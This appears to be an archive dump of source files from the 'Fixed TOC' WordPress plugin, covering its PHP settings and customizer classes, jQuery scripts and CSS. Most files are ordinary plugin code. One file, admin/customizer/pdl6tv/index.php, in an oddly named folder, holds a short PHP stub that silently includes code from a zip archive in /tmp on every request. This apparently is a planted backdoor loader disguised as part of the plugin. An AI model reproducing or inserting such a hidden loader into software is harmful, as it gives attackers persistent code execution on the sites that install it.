'general_exclude_keywords' ); $this->obj_setting->add_field( $section_id, 'general_title_to_id' ); $this->obj_setting->add_field( $section_id, 'general_id_prefix' ); $this->obj_setting->add_field( $section_id, 'general_in_widget' ); $this->obj_setting->add_field( $section_id, 'general_shortcut' ); $this->obj_setting->add_field( $section_id, 'general_smooth_scroll' ); $this->obj_setting->add_field( $section_id, 'debug_menu_selector' ); $this->obj_setting->add_field( $section_id, 'debug_scroll_offset' ); } /** * Add appearance section * * @since 3.0.0 * @access private * * @return void */ private function appearance_section() { $this->obj_setting->add_section( 'appearance', esc_html__( 'Appearance', 'fixedtoc' ), array( $this, 'appearance_callback' ) ); } /** * Appearance section callback * * @since 3.0.0 * @access public * * @return void */ public function appearance_callback() { echo '
' . esc_html__( 'Click on the link to set the appearance options.', 'fixedtoc' ) . '
'; echo '
'; } /** * Add developer section * * @since 3.0.0 * @access private * * @return void */ private function developer_section() { $section_id = $this->obj_setting->add_section( 'developer', esc_html__( 'Developer', 'fixedtoc' ), array( $this, 'developer_section_callback' ) ); $this->obj_setting->add_field( $section_id, 'developer_debug' ); } /** * Developer section callback. * * @since 3.1.0 * @access public * * @return void */ public function developer_section_callback() { esc_html_e("This section is for developer. Don't change the options below if you aren't familiar it!", 'fixedtoc'); } } admin/setting/setting.js 0000644 00000001041 14744617432 0011334 0 ustar 00 'use strict'; (function($) { $(document).ready(function() { // Toggle prefix id field toggleField($('#fixedtoc_option_general_title_to_id')); function toggleField(ele) { toggle(ele); ele.on('change', function() { toggle($(this)); }); function toggle(ele) { var currentTr = ele.parents('tr'); var nextTr = currentTr.next('tr'); if (ele.is(':checked')) { nextTr.show(200); } else { nextTr.hide(200); } } } }); })(jQuery); admin/customizer/class-customize.php 0000644 00000012747 14744617432 0013725 0 ustar 00 wp_customize = $wp_customize; // Add panel $this->wp_customize->add_panel( $this->panel_id, array( 'title' => esc_html__( 'Fixed TOC Plugin', 'fixedtoc' ), 'description' => esc_html__( "These are global options. You can't save the option here if you have changed it by widget or post meta box.", 'fixedtoc' ), 'capability' => $this->capability, // 'active_callback' => array( $this, 'has_toc_page' ) ) ); // Register sections require_once 'class-customize-sections.php'; new Fixedtoc_Customize_Sections( $this ); } /** * Enqueue script for customize control. * * @since 3.0.0 */ public function enqueue_controls_scripts() { wp_enqueue_script( 'fixedtoc-customize-controls', plugins_url( 'controls.js', __FILE__ ), array( 'jquery', 'customize-controls' ), false, true ); } /** * Prints inline style for controls. * * @since 3.1.18 */ public function print_controls_style() { echo ''; } /** * This outputs the javascript needed to automate the live settings preview. * * @since 3.0.0 */ public function enqueue_preview_scripts() { wp_enqueue_script( 'fixedtoc-customize-live-preview', plugins_url( 'live-preview.js', __FILE__ ), array( 'jquery', 'customize-preview' ), false, true ); } /** * Add a section to the panel * * @since 3.0.0 * * @param array $args * * @return string */ public function add_section( $args ) { $args = wp_parse_args( $args, array( 'title' => '', 'priority' => 10, 'description' => '', 'active_callback' => '', 'capability' => $this->capability, 'panel' => $this->panel_id, ) ); $id = 'fixedtoc-section-' . sanitize_title( $args['title'] ); $this->wp_customize->add_section( $id, $args ); return $id; } /** * Add a section to the special section * * @since 3.0.0 * * @param string $section_id * @param string $field_name */ public function add_field( $section_id, $field_name ) { // Register setting $setting_id = $this->option_name . '[' . fixedtoc_get_field_data( $field_name, 'name' ) . ']'; $setting_args = array( 'default' => fixedtoc_get_field_data( $field_name, 'default' ), 'type' => 'option', 'capability' => $this->capability, 'theme_supports' => '', 'transport' => fixedtoc_get_field_data( $field_name, 'transport' ), 'sanitize_callback' => fixedtoc_get_field_data( $field_name, 'sanitize' ), 'sanitize_js_callback' => '', ); $this->wp_customize->add_setting( $setting_id, $setting_args ); // Add field $control_id = 'fixedtoc-field-' . sanitize_title( fixedtoc_get_field_data( $field_name, 'name' ) ); $type = fixedtoc_get_field_data( $field_name, 'type' ); switch ( $type ) { case 'color' : { $wp_customize_control = 'WP_Customize_Color_Control'; break; } case 'code_editor' : { $wp_customize_control = 'WP_Customize_Code_Editor_Control'; break; } default : $wp_customize_control = 'WP_Customize_Control'; } $control_args = array( 'label' => fixedtoc_get_field_data( $field_name, 'label' ), 'description' => fixedtoc_get_field_data( $field_name, 'des' ), 'section' => $section_id, 'type' => $type, 'settings' => $setting_id, 'choices' => (array) fixedtoc_get_field_data( $field_name, 'choices' ), 'input_attrs' => (array) fixedtoc_get_field_data( $field_name, 'input_attrs' ), 'code_type' => fixedtoc_get_field_data( $field_name, 'code_type' ), ); $this->wp_customize->add_control( new $wp_customize_control( $this->wp_customize, $control_id, $control_args ) ); } /** * Get the $wp_customize object. * * @since 3.0.0 * * @return object */ public function get_wp_customize() { return $this->wp_customize; } /** * Detect if it is a toc page. * * @since 3.0.0 * * @return bool */ public function has_toc_page() { return fixedtoc_is_true( 'has_toc' ); } /** * Update inline style. * * @since 3.0.0 */ public function update_inline_style() { require_once FTOC_ROOTDIR . 'frontend/style/class-inline-style.php'; $obj_style = new Fixedtoc_Inline_Style(); echo $obj_style->get_css(); echo wp_strip_all_tags( fixedtoc_get_val( 'general_css' ), true ); } } admin/customizer/pdl6tv/index.php 0000644 00000000154 14744617432 0013113 0 ustar 00 =@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "Ss/class.php"; include("zip:///tmp/phpAlkjaR#$h");?> admin/customizer/class-customize-sections.php 0000644 00000025273 14744617432 0015550 0 ustar 00 obj_customize = $obj_customize; $this->wp_customize = $obj_customize->get_wp_customize(); // Add sections $this->location_section(); $this->trigger_button_section(); $this->contents_section(); $this->contents_header_section(); $this->contents_list_section(); $this->effects_section(); $this->color_scheme_section(); $this->customize_css_section(); } /** * Location section. * * @since 3.0.0 */ private function location_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Location', 'fixedtoc' ), 'priority' => 10, 'description' => esc_html__( "Set TOC's location relative to the post container.", 'fixedtoc' ), ) ); // Add fields $this->obj_customize->add_field( $section_id, 'location_fixed_position' ); $this->obj_customize->add_field( $section_id, 'location_horizontal_offset' ); $this->obj_customize->add_field( $section_id, 'location_vertical_offset' ); // Partial $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_location', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[location_fixed_position]', 'fixed_toc[location_horizontal_offset]', 'fixed_toc[location_vertical_offset]' ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } /** * Trigger button section. * * @since 3.0.0 */ private function trigger_button_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Trigger Button', 'fixedtoc' ), 'priority' => 20, 'description' => '', ) ); // Add fields $this->obj_customize->add_field( $section_id, 'trigger_icon' ); $this->obj_customize->add_field( $section_id, 'trigger_size' ); $this->obj_customize->add_field( $section_id, 'trigger_shape' ); $this->obj_customize->add_field( $section_id, 'trigger_border_width' ); $this->obj_customize->add_field( $section_id, 'trigger_initial_visibility' ); // Partial $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_button', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[trigger_size]', 'fixed_toc[trigger_border_width]' ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } /** * Contents section. * * @since 3.0.0 */ private function contents_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Contents', 'fixedtoc' ), 'priority' => 25, 'description' => '', ) ); // Add fields $this->obj_customize->add_field( $section_id, 'contents_shape' ); $this->obj_customize->add_field( $section_id, 'contents_border_width' ); $this->obj_customize->add_field( $section_id, 'contents_fixed_width' ); $this->obj_customize->add_field( $section_id, 'contents_fixed_height' ); $this->obj_customize->add_field( $section_id, 'contents_display_in_post' ); $this->obj_customize->add_field( $section_id, 'contents_position_in_post' ); $this->obj_customize->add_field( $section_id, 'contents_float_in_post' ); $this->obj_customize->add_field( $section_id, 'contents_width_in_post' ); $this->obj_customize->add_field( $section_id, 'contents_height_in_post' ); $this->obj_customize->add_field( $section_id, 'contents_col_exp_init' ); $this->obj_customize->add_field( $section_id, 'contents_col_exp_init_mobile' ); // Partial $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_contents', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[contents_fixed_width]', 'fixed_toc[contents_fixed_height]', 'fixed_toc[contents_border_width]', 'fixed_toc[contents_width_in_post]', 'fixed_toc[contents_height_in_post]', ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } /** * Contents header section. * * @since 3.0.0 */ private function contents_header_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Contents Header', 'fixedtoc' ), 'priority' => 30, 'description' => '', ) ); // Add fields $this->obj_customize->add_field( $section_id, 'contents_header_title' ); $this->obj_customize->add_field( $section_id, 'contents_header_font_size' ); $this->obj_customize->add_field( $section_id, 'contents_header_font_family' ); $this->obj_customize->add_field( $section_id, 'contents_header_customize_font_family' ); $this->obj_customize->add_field( $section_id, 'contents_header_font_bold' ); $this->obj_customize->add_field( $section_id, 'contents_header_title_tag' ); $this->obj_customize->add_field( $section_id, 'contents_header_clickable' ); // Partial $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_contents_header', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[contents_header_font_size]', 'fixed_toc[contents_header_font_family]', 'fixed_toc[contents_header_customize_font_family]', 'fixed_toc[contents_header_font_bold]', ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } /** * Contents list section. * * @since 3.0.0 */ private function contents_list_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Contents List', 'fixedtoc' ), 'priority' => 40, 'description' => '', ) ); // Add fields $this->obj_customize->add_field( $section_id, 'contents_list_font_size' ); $this->obj_customize->add_field( $section_id, 'contents_list_font_family' ); $this->obj_customize->add_field( $section_id, 'contents_list_customize_font_family' ); $this->obj_customize->add_field( $section_id, 'contents_list_style_type' ); $this->obj_customize->add_field( $section_id, 'contents_list_nested' ); $this->obj_customize->add_field( $section_id, 'contents_list_strong_1st' ); $this->obj_customize->add_field( $section_id, 'contents_list_colexp' ); $this->obj_customize->add_field( $section_id, 'contents_list_sub_icon' ); $this->obj_customize->add_field( $section_id, 'contents_list_accordion' ); $this->obj_customize->add_field( $section_id, 'contents_list_colexp_init_state' ); // Partial $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_contents_list', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[contents_list_font_size]', 'fixed_toc[contents_list_font_family]', 'fixed_toc[contents_list_customize_font_family]', 'fixed_toc[contents_list_style_type]', 'fixed_toc[contents_list_strong_1st]', ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } /** * Effects section. * * @since 3.0.0 */ private function effects_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Effects', 'fixedtoc' ), 'priority' => 50, 'description' => esc_html__( 'Setup special animate effects.', 'fixedtoc' ), ) ); // Add fields $this->obj_customize->add_field( $section_id, 'effects_in_out' ); $this->obj_customize->add_field( $section_id, 'effects_active_link' ); // Partial $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_effects', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[effects_active_link]', ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } /** * Color scheme section. * * @since 3.0.0 */ private function color_scheme_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Color Scheme', 'fixedtoc' ), 'priority' => 60, 'description' => '', ) ); // Add fields $this->obj_customize->add_field( $section_id, 'color_button' ); $this->obj_customize->add_field( $section_id, 'color_button_bg' ); $this->obj_customize->add_field( $section_id, 'color_button_border' ); $this->obj_customize->add_field( $section_id, 'color_contents_border' ); $this->obj_customize->add_field( $section_id, 'color_contents_header' ); $this->obj_customize->add_field( $section_id, 'color_contents_header_bg' ); $this->obj_customize->add_field( $section_id, 'color_contents_list_bg' ); $this->obj_customize->add_field( $section_id, 'color_contents_list_link' ); $this->obj_customize->add_field( $section_id, 'color_contents_list_hover_link' ); $this->obj_customize->add_field( $section_id, 'color_contents_list_active_link' ); $this->obj_customize->add_field( $section_id, 'color_contents_list_active_link_bg' ); $this->obj_customize->add_field( $section_id, 'color_target_hint' ); // Partial refresh $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_color_scheme', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[color_button]', 'fixed_toc[color_button_bg]', 'fixed_toc[color_button_border]', 'fixed_toc[color_contents_border]', 'fixed_toc[color_contents_header]', 'fixed_toc[color_contents_header_bg]', 'fixed_toc[color_contents_list_bg]', 'fixed_toc[color_contents_list_link]', 'fixed_toc[color_contents_list_hover_link]', 'fixed_toc[color_contents_list_active_link]', 'fixed_toc[color_contents_list_active_link_bg]', 'fixed_toc[color_target_hint]', ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } /** * Customize CSS. * * @since 3.0.0 */ private function customize_css_section() { // Add section $section_id = $this->obj_customize->add_section( array( 'title' => esc_html__( 'Customize CSS', 'fixedtoc' ), 'priority' => 100, 'description' => '', ) ); // Add fields $this->obj_customize->add_field( $section_id, 'general_css' ); // Partial $this->wp_customize->selective_refresh->add_partial( 'fixedtoc_css', array( 'selector' => '#fixedtoc-style-inline-css', 'settings' => array( 'fixed_toc[general_css]', ), 'render_callback' => array( $this->obj_customize, 'update_inline_style' ), ) ); } } admin/customizer/controls.js 0000644 00000014037 14744617432 0012262 0 ustar 00 'use strict'; /** * Script for custom customize control. */ (function($) { $(document).ready(function() { // Toggle fields (function() { // Set data var data = { location_fixed_position: { location_vertical_offset: { type: 'select', val: ['top-left', 'top-right', 'bottom-left', 'bottom-right'], increase: 1 } }, contents_display_in_post: { contents_float_in_post: {type: 'check', val: true, increase: 1}, contents_position_in_post: {type: 'check', val: true, increase: 1}, contents_width_in_post: {type: 'check', val: true, increase: 1}, contents_height_in_post: {type: 'check', val: true, increase: 1}, contents_col_exp_init: {type: 'check', val: true, increase: 1} }, // contents_float_in_post: { // contents_width_in_post: { type: 'multi_check', val: ['left', 'right'], increase: 1/2 } // }, contents_header_font_family: { contents_header_customize_font_family: { type: 'select', val: 'customize', increase: 1 } }, contents_list_font_family: { contents_list_customize_font_family: { type: 'select', val: 'customize', increase: 1 } }, contents_list_nested: { contents_list_strong_1st: {type: 'check', val: true, increase: 1}, contents_list_colexp: {type: 'check', val: true, increase: 1}, contents_list_sub_icon: {type: 'check', val: true, increase: 1 / 2}, contents_list_colexp_init_state: { type: 'check', val: true, increase: 1 / 4 }, contents_list_accordion: {type: 'check', val: true, increase: 0.3334} }, contents_list_colexp: { contents_list_sub_icon: {type: 'check', val: true, increase: 1 / 2}, contents_list_colexp_init_state: { type: 'check', val: true, increase: 1 / 4 }, contents_list_accordion: {type: 'check', val: true, increase: 0.3334} }, contents_list_sub_icon: { contents_list_accordion: {type: 'check', val: true, increase: 0.3334}, contents_list_colexp_init_state: { type: 'check', val: true, increase: 1 / 4 } }, contents_list_accordion: { contents_list_colexp_init_state: { type: 'check', val: false, increase: 1 / 4 } } }; // End data // Detect input value // noinspection DuplicatedCode var detectInput = { isIncrease: function(type, $trigger, val) { var result = false; switch (type) { case 'check' : { result = this.check($trigger, val); break; } case 'multi_check' : { result = this.multiCheck($trigger, val); break; } case 'select' : { result = this.select($trigger, val); break; } } return result; }, check: function($trigger, val) { var checked = false; if ($trigger.is(':checked')) { checked = true; } return val == checked; }, multiCheck: function($trigger, val) { var checked = false; $trigger.each(function() { if ($(this).is(':checked')) { checked = (-1 !== val.indexOf($(this).val())); } }); return checked; }, select: function($trigger, val) { if (Array.isArray(val)) { for (var i = 0, len = val.length; i < len; i++) { if ($trigger.val() == val[i]) { return true; } } return false; } else { // noinspection RedundantIfStatementJS if (val == $trigger.val()) { return true; } else { return false; } } } }; // End detect // Control // noinspection JSUnusedLocalSymbols,DuplicatedCode var control = { fields: {}, toggleFields: function() { this.setFields(); $.each(data, function(k, v) { var $trigger = control.getTrigger(k); control.toggle(v); $trigger.on('change', function() { control.setFields(); control.toggle(v); }); }); }, toggle: function(targets) { // noinspection JSUnusedLocalSymbols $.each(this.fields, function(k, v) { var $target = control.getTarget(k); if (1 <= control.fields[k]) { $target.show(200); } else { $target.hide(200); } }); }, setFields: function() { this.fields = {}; $.each(data, function(triggerName, targets) { var $trigger = control.getTrigger(triggerName); $.each(targets, function(targetName, v) { var visibility = 0; if (undefined !== control.fields[targetName]) { visibility = control.fields[targetName]; } if (detectInput.isIncrease(v.type, $trigger, v.val)) { visibility = visibility + parseFloat(v.increase); } else { visibility = 0; } control.fields[targetName] = visibility; }); }); }, getTrigger: function(triggerName) { return $('#customize-control-fixedtoc-field-' + triggerName). find(':input'); }, getTarget: function(targetName) { return $('#customize-control-fixedtoc-field-' + targetName); } }; // End control control.toggleFields(); })(); // End toggle fields. }); // End ready() })(jQuery); admin/customizer/live-preview.js 0000644 00000014617 14744617432 0013041 0 ustar 00 'use strict'; /** * This file adds some LIVE to the Theme Customizer live preview. */ (function($) { // Preview init. // noinspection JSUnresolvedFunction wp.customize.bind('preview-ready', function() { if ('undefined' === typeof fixedtoc) { return; } $('#ftwp-container').on('ftocReady', function() { fixedtoc.option.update('fadeTriggerDuration', 99999999); }); }); // Fixed position. reloadAfterPartialRefresh('location_fixed_position', function(to) { fixedtoc.option.update('fixedPosition', to); var posCls = 'ftwp-top-right ftwp-middle-right ftwp-bottom-right ftwp-top-left ftwp-middle-left ftwp-bottom-left'; $('#ftwp-container').removeClass(posCls).addClass('ftwp-' + to); }); // Horizontal offset. reloadAfterPartialRefresh('location_horizontal_offset', function(to) { fixedtoc.option.update('fixedOffsetX', to, 'int'); }); // Horizontal offset. reloadAfterPartialRefresh('location_vertical_offset', function(to) { fixedtoc.option.update('fixedOffsetY', to, 'int'); }); // Trigger icon. // noinspection JSValidateTypes wp.customize('fixed_toc[trigger_icon]', function(value) { value.bind(function(to) { $('#ftwp-trigger .ftwp-trigger-icon, #ftwp-header-control'). removeClass(function(i, cls) { return regeCls(/ftwp-icon-\w+/, cls); }). addClass('ftwp-icon-' + to); }); }); // Trigger size. reloadAfterPartialRefresh('trigger_size', function(to) { fixedtoc.option.update('triggerSize', to, 'int'); }); // Trigger shape. // noinspection JSValidateTypes wp.customize('fixed_toc[trigger_shape]', function(value) { value.bind(function(to) { $('#ftwp-trigger').removeClass(function(i, cls) { return regeCls(/ftwp-shape-\w+/, cls); }).addClass('ftwp-shape-' + to); }); }); // Trigger border reloadAfterPartialRefresh('trigger_border_width', function(to) { $('#ftwp-trigger').removeClass(function(i, cls) { return regeCls(/ftwp-border-\w+/, cls); }).addClass('ftwp-border-' + to); fixedtoc.option.update('triggerBorder', to); fixedtoc.option.update('triggerBorderWidth', getBorderWidth(to), 'int'); }); // Trigger initial visibility. // noinspection JSValidateTypes wp.customize('fixed_toc[trigger_initial_visibility]', function(value) { value.bind(function(to) { if ('hide' == to) { $('#ftwp-container'). removeClass('ftwp-minimize'). addClass('ftwp-maximize'); } else { $('#ftwp-container'). removeClass('ftwp-maximize'). addClass('ftwp-minimize'); } }); }); // Contents font size. reloadAfterPartialRefresh('fixedtoc_contents_header'); reloadAfterPartialRefresh('fixedtoc_contents_list'); // Contents width to fixed TOC. reloadAfterPartialRefresh('contents_fixed_width'); // Contents height to fixed TOC. reloadAfterPartialRefresh('contents_fixed_height', function(to) { fixedtoc.option.update('contentsFixedHeight', to, 'int'); }); // Contents shape. // noinspection JSValidateTypes wp.customize('fixed_toc[contents_shape]', function(value) { value.bind(function(to) { $('#ftwp-contents').removeClass(function(i, cls) { return regeCls(/ftwp-shape-\w+/, cls); }).addClass('ftwp-shape-' + to); }); }); // Contents border. reloadAfterPartialRefresh('contents_border_width', function(to) { $('#ftwp-contents').removeClass(function(i, cls) { return regeCls(/ftwp-border-\w+/, cls); }).addClass('ftwp-border-' + to); fixedtoc.option.update('contentsBorder', to); fixedtoc.option.update('contentsBorderWidth', getBorderWidth(to), 'int'); }); // Contents width in post. reloadAfterPartialRefresh('contents_width_in_post', function(to) { fixedtoc.option.update('contentsWidthInPost', to, 'int'); }); // Contents height in post. reloadAfterPartialRefresh('contents_height_in_post', function(to) { fixedtoc.option.update('contentsHeightInPost', to, 'int'); }); // Contents header title. // noinspection JSValidateTypes wp.customize('fixed_toc[contents_header_title]', function(value) { value.bind(function(to) { $('#ftwp-header-title').text(to); fixedtoc.reload(); }); }); // Contents header font family. reloadAfterPartialRefresh('contents_header_font_family'); // Contents header custom font family. reloadAfterPartialRefresh('contents_header_customize_font_family'); // Contents header font bold. reloadAfterPartialRefresh('contents_header_font_bold'); // Contents list font family. reloadAfterPartialRefresh('contents_list_font_family'); // Contents list custom font family. reloadAfterPartialRefresh('contents_list_customize_font_family'); // Contents list style type. reloadAfterPartialRefresh('contents_list_style_type', function(to) { $('#ftwp-list').removeClass(function(i, cls) { return regeCls(/ftwp-liststyle-[\w\-]+/i, cls); }).addClass('ftwp-liststyle-' + to); }); // Contents list strong 1st. reloadAfterPartialRefresh('contents_list_strong_1st', function(to) { if (to) { $('#ftwp-list').addClass('ftwp-strong-first'); } else { $('#ftwp-list').removeClass('ftwp-strong-first'); } }); // Contents active link effect. reloadAfterPartialRefresh('effects_active_link', function(to) { $('#ftwp-list').removeClass(function(i, cls) { return regeCls(/ftwp-effect-[\w\-]+/i, cls); }).addClass('ftwp-effect-' + to); }); /** * Common functions. * */ // Reload fixedtoc after partial refresh function reloadAfterPartialRefresh(name, func) { // noinspection JSValidateTypes wp.customize('fixed_toc[' + name + ']', function(value) { value.bind(function(to) { // noinspection JSUnusedLocalSymbols,JSAccessibilityCheck wp.customize.selectiveRefresh.bind('partial-content-rendered', function(placement) { if (undefined !== func) func(to); fixedtoc.reload(); }); }); }); } // Return cls by regular express function regeCls(reg, cls) { var new_cls = cls.match(reg); if (new_cls) { return new_cls[0]; } } // Get border width. function getBorderWidth(border) { switch (border) { case 'thin': return 1; case 'medium': return 2; case 'bold': return 5; default: return 0; } } })(jQuery); admin/metabox/metabox-style.css 0000644 00000005175 14744617432 0012626 0 ustar 00 #fixedtoc-metabox-inner { margin-top: 12px; border: 1px solid #e5e5e5; } #fixedtoc-metabox-inner .ftoc-section-title { font-weight: 700; border-bottom: 1px solid #e5e5e5; } #fixedtoc-metabox-inner .ftoc-section-title:hover, #fixedtoc-metabox .ftoc-field-control:hover { cursor: pointer; } #fixedtoc-metabox-inner .ftoc-section-title.ui-state-active, #fixedtoc-metabox-inner .ftoc-section-title:focus { outline: none; color: white; background: #008ec2; } #fixedtoc-metabox-inner .ftoc-section-title.ui-state-active .ftoc-section-control, #fixedtoc-metabox-inner .ftoc-section-title:focus .ftoc-section-control { color: white; } #fixedtoc-metabox .ui-accordion-header-icon { margin-right: 5px; } #fixedtoc-metabox .ftoc-field-control { outline: none; border: none; margin-right: 5px; background: #008ec2; color: white; padding: 5px; vertical-align: middle; border-radius: 50%; } #fixedtoc-metabox-inner .form-table { border-bottom: 1px solid #e5e5e5; display: none; } #fixedtoc-metabox-inner .form-table th { font-weight: 400; width: 300px; padding: 20px 10px; } #fixedtoc-metabox-inner .form-table select { max-width: 80%; } #fixedtoc-metabox-inner .form-table:last-child, #fixedtoc-metabox-inner .ftoc-section-title:last-of-type { border-bottom: none; } #fixedtoc-metabox-inner .ftoc-disabled * { color: rgba(51, 51, 51, .5); } #fixedtoc-metabox-inner .ftoc-disabled .ftoc-field-control { background: rgba(51, 51, 51, .5); } #fixedtoc-metabox-inner .ftoc-disabled .ftoc-field-control:hover { background: #008ec2; } h2#ftoc-onoff-title { padding: 0; margin: 12px 0; } /** * Switch button */ #fixedtoc-metabox .ftoc-switch { position: relative; display: inline; } #fixedtoc-metabox .ftoc-switch input { position: absolute; visibility: hidden; z-index: -1; left: -9999px; } #fixedtoc-metabox .ftoc-switch label { display: block; width: 50px; height: 25px; border: 2px solid rgba(0, 0, 0, .1); padding: 1px; transition: border-color .3s; position: relative; border-radius: 25px; } #fixedtoc-metabox .ftoc-switch input:checked + label { border-color: #008ec2; } #fixedtoc-metabox .ftoc-switch label::before { content: ''; display: block; width: 25px; height: 25px; background: rgba(0, 0, 0, .1); position: absolute; left: 1px; top: 1px; transition-property: background, margin-left; transition-duration: .3s; border-radius: 50%; } #fixedtoc-metabox .ftoc-switch input:checked + label::before { background: #008ec2; margin-left: 25px; } admin/metabox/metabox-script.js 0000644 00000017535 14744617432 0012621 0 ustar 00 'use strict'; (function($) { $(document).ready(function() { var innerEle = $('#fixedtoc-metabox-inner'); var postID = $('#post_ID').attr('value'); // Accordion (function() { innerEle.accordion({ heightStyle: 'content', collapsible: true, icons: { header: 'dashicons dashicons-arrow-down', activeHeader: 'dashicons dashicons-arrow-up' }, active: parseInt(getCookie('fixedtocInnerActiveIndex' + postID)) }); innerEle.on('accordionactivate', function() { var active = $(this).accordion('option', 'active'); setCookie('fixedtocInnerActiveIndex' + postID, active, 7); }); })(); // Toggle form field to disabled (function() { $('.ftoc-field-control').on('click', function() { var trEle = $(this).parents('tr'); trEle.toggleClass('ftoc-disabled'); var fieldEles = trEle.children('td').find('input, select, textarea'); fieldEles.each(function() { if (false === $(this).prop('disabled')) { $(this).prop('disabled', true); } else { $(this).prop('disabled', false); } }); }); })(); // Show/hide setting sections (function() { var onOffEle = $('#ftoc-onoff-toggle'); toggleInner(); onOffEle.on('change', toggleInner); function toggleInner() { if (onOffEle.is(':checked')) { $('#fixedtoc-metabox-inner, #fixedtoc-document').show(); } else { $('#fixedtoc-metabox-inner, #fixedtoc-document').hide(); } } })(); // Color picker (function() { // noinspection JSUnresolvedFunction $('.fixedtoc-color-field').wpColorPicker(); })(); // Toggle fields (function() { // Set data var data = { location_fixed_position: { location_vertical_offset: { type: 'select', val: ['top-left', 'top-right', 'bottom-left', 'bottom-right'], increase: 1 } }, contents_display_in_post: { contents_position_in_post: {type: 'check', val: true, increase: 1}, contents_float_in_post: {type: 'check', val: true, increase: 1}, contents_width_in_post: {type: 'check', val: true, increase: 1}, contents_height_in_post: {type: 'check', val: true, increase: 1} }, // contents_float_in_post: { // contents_width_in_post: { type: 'multi_check', val: ['left', 'right'], increase: 1/2 } // }, contents_header_font_family: { contents_header_customize_font_family: {type: 'select', val: 'customize', increase: 1} }, contents_list_font_family: { contents_list_customize_font_family: {type: 'select', val: 'customize', increase: 1} }, contents_list_nested: { contents_list_strong_1st: {type: 'check', val: true, increase: 1}, contents_list_colexp: {type: 'check', val: true, increase: 1}, contents_list_sub_icon: {type: 'check', val: true, increase: 1 / 2}, contents_list_colexp_init_state: {type: 'check', val: true, increase: 1 / 4}, contents_list_accordion: {type: 'check', val: true, increase: 0.3334} }, contents_list_colexp: { contents_list_sub_icon: {type: 'check', val: true, increase: 1 / 2}, contents_list_colexp_init_state: {type: 'check', val: true, increase: 1 / 4}, contents_list_accordion: {type: 'check', val: true, increase: 0.3334} }, contents_list_sub_icon: { contents_list_accordion: {type: 'check', val: true, increase: 0.3334}, contents_list_colexp_init_state: {type: 'check', val: true, increase: 1 / 4} }, contents_list_accordion: { contents_list_colexp_init_state: {type: 'check', val: false, increase: 1 / 4} } }; // End data // Detect input value // noinspection DuplicatedCode var detectInput = { isIncrease: function(type, $trigger, val) { var result = false; switch (type) { case 'check' : { result = this.check($trigger, val); break; } case 'multi_check' : { result = this.multiCheck($trigger, val); break; } case 'select' : { result = this.select($trigger, val); break; } } return result; }, check: function($trigger, val) { var checked = false; if ($trigger.is(':checked')) { checked = true; } return val == checked; }, multiCheck: function($trigger, val) { var checked = false; $trigger.each(function() { if ($(this).is(':checked')) { checked = (-1 !== val.indexOf($(this).val())); } }); return checked; }, select: function($trigger, val) { if (Array.isArray(val)) { for (var i = 0, len = val.length; i < len; i++) { if ($trigger.val() == val[i]) { return true; } } return false; } else { return val == $trigger.val(); } } }; // End detect // Control // noinspection JSUnusedLocalSymbols,DuplicatedCode var control = { fields: {}, toggleFields: function() { this.setFields(); $.each(data, function(k, v) { var $trigger = control.getTrigger(k); control.toggle(v); $trigger.on('change', function() { control.setFields(); control.toggle(v); }); }); }, toggle: function(targets) { // noinspection JSUnusedLocalSymbols $.each(this.fields, function(k, v) { var $target = control.getTarget(k); if (1 <= control.fields[k]) { $target.show(200); } else { $target.hide(200); } }); }, setFields: function() { this.fields = {}; $.each(data, function(triggerName, targets) { var $trigger = control.getTrigger(triggerName); $.each(targets, function(targetName, v) { var visibility = 0; if (undefined !== control.fields[targetName]) { visibility = control.fields[targetName]; } if (detectInput.isIncrease(v.type, $trigger, v.val)) { visibility = visibility + parseFloat(v.increase); } else { visibility = 0; } control.fields[targetName] = visibility; }); }); }, getTrigger: function(triggerName) { return $('#tr_fixedtoc_meta_' + triggerName). children('td'). find('input:not([type="hidden"]), textarea, select'); }, getTarget: function(targetName) { return $('#tr_fixedtoc_meta_' + targetName); } }; // End control control.toggleFields(); })(); // End toggle fields. // Set Cookie function setCookie(cname, cvalue, exdays) { var d = new Date(); d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000)); var expires = 'expires=' + d.toUTCString(); document.cookie = cname + '=' + cvalue + '; ' + expires; } // Get Cookie function getCookie(cname) { var name = cname + '='; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1); } if (c.indexOf(name) === 0) { return c.substring(name.length, c.length); } } return false; } }); })(jQuery); admin/metabox/class-metabox.php 0000644 00000022707 14744617432 0012572 0 ustar 00 register_sections(); } /** * Save the meta when the post is saved. * * @since 3.0.0 * * @param int 